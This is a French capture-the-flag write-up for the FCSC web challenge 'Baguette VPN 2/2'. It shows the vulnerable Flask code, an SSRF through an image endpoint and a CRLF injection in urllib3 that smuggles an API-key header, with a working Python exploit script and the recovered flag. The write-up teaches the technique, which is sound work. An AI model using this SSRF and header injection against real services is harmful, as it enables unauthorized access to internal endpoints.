Solution de spxnso pour Baguette VPN 2/2

web python

18 janvier 2026

Table des matières

Description

Vous devez maintenant récupérer le secret contenu dans l’API. Cette épreuve a été découpée en deux parties : Baguette VPN 1/2 et Baguette VPN 2/2.

Objectif

L’objectif est de trouver le flag accessible à /api/secret.

Analyse

En retournant à notre code source, l’endpoint /api/secret est implémenté par le code suivant :

@app.route("/api/secret")
def admin():
    if request.remote_addr == "127.0.0.1":
        if request.headers.get("X-API-KEY") == "b99cc420eb25205168e83190bae48a12":
            return jsonify({"secret": os.getenv("FLAG")})
        return Response("Interdit: mauvaise clé d'API", status=403)
    return Response("Interdit: mauvaise adresse IP", status=403)

Le if nous indique que la requête est uniquement accessible depuis le serveur lui-même. curl ne nous sera donc pas utile ici.

Il faut envoyer une requête à partir du serveur, depuis le client. Pour cela, examinons les autres endpoints :

@app.route("/api/image")
def image():
    filename = request.args.get("fn")
    if filename:
        http = urllib3.PoolManager()
        return http.request("GET", "http://baguette-vpn-cdn" + filename).data
    else:
        return Response("Paramètre manquant", status=400)

Cet endpoint est vulnérable à une SSRF.

Pour l’exploiter, nous allons envoyer une requête à l’endpoint secret à partir de celui-ci :

curl http://localhost:8000/api/image?fn=@localhost:1337/api/secret

Le @ indique à urllib3 que http://localhost:8000/api/image?fn agit en tant qu’user info, facilitant la requête.

Nous obtenons donc l’erreur suivante :

Interdit: mauvaise clé d'API

Ce qui nous permet de déduire que le premier if a été passé, mais il reste la seconde étape de vérification.

Il nous suffit donc de passer le header dans notre requête, ce qui est pour l’instant impossible car l’endpoint image ne transmet pas les headers :

http.request("GET", "http://baguette-vpn-cdn" + filename).data

Il faut donc procéder à une injection CRLF. Après quelques recherches, j’ai découvert que le module urllib3 était vulnérable à ce type d’injection.

Écrivons alors un petit script permettant de construire le payload :

import requests

secret = "b99cc420eb25205168e83190bae48a12"
host = "http://localhost:8000/api/image?fn=@127.0.0.1:1337/api/secret"
crlf_payload = " HTTP/1.1\r\nX-API-KEY: " + secret + "\r\n\r\n"
url = host + crlf_payload
print("Requesting URL:", url)

try:
    info = requests.get(url).text
    print(info)
except Exception:
    print("Error occurred during the request")

Nous obtenons alors le flag dans la réponse du serveur :

{"secret":"FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}"}

Flag

FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}